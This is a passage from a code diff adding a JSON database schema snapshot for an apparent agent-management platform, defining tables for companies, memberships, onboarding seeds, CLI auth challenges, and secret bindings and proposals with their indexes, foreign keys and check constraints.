+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "cli_auth_challenges_requested_company_idx": {
+          "name": "cli_auth_challenges_requested_company_idx",
+          "columns": [
+            {
+              "expression": "requested_company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "cli_auth_challenges_requested_company_id_companies_id_fk": {
+          "name": "cli_auth_challenges_requested_company_id_companies_id_fk",
+          "tableFrom": "cli_auth_challenges",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "requested_company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "cli_auth_challenges_approved_by_user_id_user_id_fk": {
+          "name": "cli_auth_challenges_approved_by_user_id_user_id_fk",
+          "tableFrom": "cli_auth_challenges",
+          "tableTo": "user",
+          "columnsFrom": [
+            "approved_by_user_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "cli_auth_challenges_board_api_key_id_board_api_keys_id_fk": {
+          "name": "cli_auth_challenges_board_api_key_id_board_api_keys_id_fk",
+          "tableFrom": "cli_auth_challenges",
+          "tableTo": "board_api_keys",
+          "columnsFrom": [
+            "board_api_key_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.companies": {
+      "name": "companies",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "pause_reason": {
+          "name": "pause_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "paused_at": {
+          "name": "paused_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_prefix": {
+          "name": "issue_prefix",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'PAP'"
+        },
+        "issue_counter": {
+          "name": "issue_counter",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "budget_monthly_cents": {
+          "name": "budget_monthly_cents",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "spent_monthly_cents": {
+          "name": "spent_monthly_cents",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "attachment_max_bytes": {
+          "name": "attachment_max_bytes",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 10485760
+        },
+        "default_responsible_user_id": {
+          "name": "default_responsible_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "require_board_approval_for_new_agents": {
+          "name": "require_board_approval_for_new_agents",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "interaction_resolver_governance": {
+          "name": "interaction_resolver_governance",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "feedback_data_sharing_enabled": {
+          "name": "feedback_data_sharing_enabled",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "feedback_data_sharing_consent_at": {
+          "name": "feedback_data_sharing_consent_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "feedback_data_sharing_consent_by_user_id": {
+          "name": "feedback_data_sharing_consent_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "feedback_data_sharing_terms_version": {
+          "name": "feedback_data_sharing_terms_version",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "brand_color": {
+          "name": "brand_color",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "companies_issue_prefix_idx": {
+          "name": "companies_issue_prefix_idx",
+          "columns": [
+            {
+              "expression": "issue_prefix",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {},
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_logos": {
+      "name": "company_logos",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "asset_id": {
+          "name": "asset_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_logos_company_uq": {
+          "name": "company_logos_company_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_logos_asset_uq": {
+          "name": "company_logos_asset_uq",
+          "columns": [
+            {
+              "expression": "asset_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_logos_company_id_companies_id_fk": {
+          "name": "company_logos_company_id_companies_id_fk",
+          "tableFrom": "company_logos",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_logos_asset_id_assets_id_fk": {
+          "name": "company_logos_asset_id_assets_id_fk",
+          "tableFrom": "company_logos",
+          "tableTo": "assets",
+          "columnsFrom": [
+            "asset_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_memberships": {
+      "name": "company_memberships",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "principal_type": {
+          "name": "principal_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "principal_id": {
+          "name": "principal_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "membership_role": {
+          "name": "membership_role",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_memberships_company_principal_unique_idx": {
+          "name": "company_memberships_company_principal_unique_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "principal_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "principal_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_memberships_principal_status_idx": {
+          "name": "company_memberships_principal_status_idx",
+          "columns": [
+            {
+              "expression": "principal_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "principal_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_memberships_company_status_idx": {
+          "name": "company_memberships_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_memberships_company_id_companies_id_fk": {
+          "name": "company_memberships_company_id_companies_id_fk",
+          "tableFrom": "company_memberships",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_onboarding_seeds": {
+      "name": "company_onboarding_seeds",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "revision": {
+          "name": "revision",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "mission": {
+          "name": "mission",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "agent_name": {
+          "name": "agent_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "agent_role": {
+          "name": "agent_role",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "first_task_title": {
+          "name": "first_task_title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "first_task_details": {
+          "name": "first_task_details",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "goal_id": {
+          "name": "goal_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "applied_at": {
+          "name": "applied_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_onboarding_seeds_company_uq": {
+          "name": "company_onboarding_seeds_company_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_onboarding_seeds_company_id_companies_id_fk": {
+          "name": "company_onboarding_seeds_company_id_companies_id_fk",
+          "tableFrom": "company_onboarding_seeds",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_onboarding_seeds_goal_id_goals_id_fk": {
+          "name": "company_onboarding_seeds_goal_id_goals_id_fk",
+          "tableFrom": "company_onboarding_seeds",
+          "tableTo": "goals",
+          "columnsFrom": [
+            "goal_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "company_onboarding_seeds_agent_id_agents_id_fk": {
+          "name": "company_onboarding_seeds_agent_id_agents_id_fk",
+          "tableFrom": "company_onboarding_seeds",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "company_onboarding_seeds_issue_id_issues_id_fk": {
+          "name": "company_onboarding_seeds_issue_id_issues_id_fk",
+          "tableFrom": "company_onboarding_seeds",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_secret_bindings": {
+      "name": "company_secret_bindings",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "secret_id": {
+          "name": "secret_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_type": {
+          "name": "target_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_id": {
+          "name": "target_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "config_path": {
+          "name": "config_path",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "version_selector": {
+          "name": "version_selector",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'latest'"
+        },
+        "required": {
+          "name": "required",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": true
+        },
+        "label": {
+          "name": "label",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "projection_class": {
+          "name": "projection_class",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'unclassified'"
+        },
+        "projection_allowlist_key": {
+          "name": "projection_allowlist_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_secret_bindings_company_idx": {
+          "name": "company_secret_bindings_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secret_bindings_secret_idx": {
+          "name": "company_secret_bindings_secret_idx",
+          "columns": [
+            {
+              "expression": "secret_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secret_bindings_target_idx": {
+          "name": "company_secret_bindings_target_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secret_bindings_target_path_uq": {
+          "name": "company_secret_bindings_target_path_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "config_path",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_secret_bindings_company_id_companies_id_fk": {
+          "name": "company_secret_bindings_company_id_companies_id_fk",
+          "tableFrom": "company_secret_bindings",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "company_secret_bindings_secret_id_company_secrets_id_fk": {
+          "name": "company_secret_bindings_secret_id_company_secrets_id_fk",
+          "tableFrom": "company_secret_bindings",
+          "tableTo": "company_secrets",
+          "columnsFrom": [
+            "secret_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_secret_proposals": {
+      "name": "company_secret_proposals",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "kind": {
+          "name": "kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'pending'"
+        },
+        "proposed_name": {
+          "name": "proposed_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "proposed_key": {
+          "name": "proposed_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "proposed_description": {
+          "name": "proposed_description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "justification": {
+          "name": "justification",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "value_ciphertext": {
+          "name": "value_ciphertext",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "value_fingerprint_sha256": {
+          "name": "value_fingerprint_sha256",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "value_length": {
+          "name": "value_length",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "secret_id": {
+          "name": "secret_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "secret_proposal_id": {
+          "name": "secret_proposal_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "target_type": {
+          "name": "target_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "target_id": {
+          "name": "target_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "config_path": {
+          "name": "config_path",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "projection_class": {
+          "name": "projection_class",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'unclassified'"
+        },
+        "binding_target_policy_snapshot": {
+          "name": "binding_target_policy_snapshot",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "proposer_ancestor_ids_snapshot": {
+          "name": "proposer_ancestor_ids_snapshot",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "target_ancestor_ids_snapshot": {
+          "name": "target_ancestor_ids_snapshot",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "proposed_by_agent_id": {
+          "name": "proposed_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "origin_issue_id": {
+          "name": "origin_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "origin_run_id": {
+          "name": "origin_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "interaction_id": {
+          "name": "interaction_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolved_by_user_id": {
+          "name": "resolved_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolved_at": {
+          "name": "resolved_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolution_reason": {
+          "name": "resolution_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_secret_id": {
+          "name": "created_secret_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "applied_binding_config_path": {
+          "name": "applied_binding_config_path",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "ciphertext_scrubbed_at": {
+          "name": "ciphertext_scrubbed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_secret_proposals_company_status_idx": {
+          "name": "company_secret_proposals_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secret_proposals_proposer_status_idx": {
+          "name": "company_secret_proposals_proposer_status_idx",
+          "columns": [
+            {
+              "expression": "proposed_by_agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secret_proposals_expiry_idx": {
+          "name": "company_secret_proposals_expiry_idx",
+          "columns": [
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "expires_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secret_proposals_secret_proposal_idx": {
+          "name": "company_secret_proposals_secret_proposal_idx",
+          "columns": [
+            {
+              "expression": "secret_proposal_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secret_proposals_interaction_idx": {
+          "name": "company_secret_proposals_interaction_idx",
+          "columns": [
+            {
+              "expression": "interaction_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_secret_proposals_company_id_companies_id_fk": {
+          "name": "company_secret_proposals_company_id_companies_id_fk",
+          "tableFrom": "company_secret_proposals",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "company_secret_proposals_secret_id_company_secrets_id_fk": {
+          "name": "company_secret_proposals_secret_id_company_secrets_id_fk",
+          "tableFrom": "company_secret_proposals",
+          "tableTo": "company_secrets",
+          "columnsFrom": [
+            "secret_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "company_secret_proposals_secret_proposal_id_company_secret_proposals_id_fk": {
+          "name": "company_secret_proposals_secret_proposal_id_company_secret_proposals_id_fk",
+          "tableFrom": "company_secret_proposals",
+          "tableTo": "company_secret_proposals",
+          "columnsFrom": [
+            "secret_proposal_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_secret_proposals_target_id_agents_id_fk": {
+          "name": "company_secret_proposals_target_id_agents_id_fk",
+          "tableFrom": "company_secret_proposals",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "target_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_secret_proposals_proposed_by_agent_id_agents_id_fk": {
+          "name": "company_secret_proposals_proposed_by_agent_id_agents_id_fk",
+          "tableFrom": "company_secret_proposals",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "proposed_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_secret_proposals_origin_issue_id_issues_id_fk": {
+          "name": "company_secret_proposals_origin_issue_id_issues_id_fk",
+          "tableFrom": "company_secret_proposals",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "origin_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "company_secret_proposals_origin_run_id_heartbeat_runs_id_fk": {
+          "name": "company_secret_proposals_origin_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "company_secret_proposals",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "origin_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_secret_proposals_interaction_id_issue_thread_interactions_id_fk": {
+          "name": "company_secret_proposals_interaction_id_issue_thread_interactions_id_fk",
+          "tableFrom": "company_secret_proposals",
+          "tableTo": "issue_thread_interactions",
+          "columnsFrom": [
+            "interaction_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "company_secret_proposals_created_secret_id_company_secrets_id_fk": {
+          "name": "company_secret_proposals_created_secret_id_company_secrets_id_fk",
+          "tableFrom": "company_secret_proposals",
+          "tableTo": "company_secrets",
+          "columnsFrom": [
+            "created_secret_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "company_secret_proposals_kind_check": {
+          "name": "company_secret_proposals_kind_check",
+          "value": "\"company_secret_proposals\".\"kind\" in ('secret', 'binding')"
+        },
+        "company_secret_proposals_status_check": {
+          "name": "company_secret_proposals_status_check",
+          "value": "\"company_secret_proposals\".\"status\" in ('pending', 'approved', 'rejected', 'withdrawn', 'expired')"
+        },
+        "company_secret_proposals_projection_check": {
+          "name": "company_secret_proposals_projection_check",
+          "value": "\"company_secret_proposals\".\"projection_class\" = 'unclassified'"
+        },
+        "company_secret_proposals_shape_check": {
+          "name": "company_secret_proposals_shape_check",
+          "value": "(\n      \"company_secret_proposals\".\"kind\" = 'secret'\n      and \"company_secret_proposals\".\"proposed_name\" is not null\n      and \"company_secret_proposals\".\"proposed_key\" is not null\n      and \"company_secret_proposals\".\"secret_id\" is null\n      and \"company_secret_proposals\".\"secret_proposal_id\" is null\n      and \"company_secret_proposals\".\"target_type\" is null\n      and \"company_secret_proposals\".\"target_id\" is null\n      and \"company_secret_proposals\".\"config_path\" is null\n    ) or (\n      \"company_secret_proposals\".\"kind\" = 'binding'\n      and ((\"company_secret_proposals\".\"secret_id\" is not null)::int + (\"company_secret_proposals\".\"secret_proposal_id\" is not null)::int) = 1\n      and \"company_secret_proposals\".\"target_type\" = 'agent'\n      and \"company_secret_proposals\".\"target_id\" is not null\n      and \"company_secret_proposals\".\"config_path\" is not null\n    )"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.company_secret_provider_configs": {
+      "name": "company_secret_provider_configs",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "provider": {
+          "name": "provider",
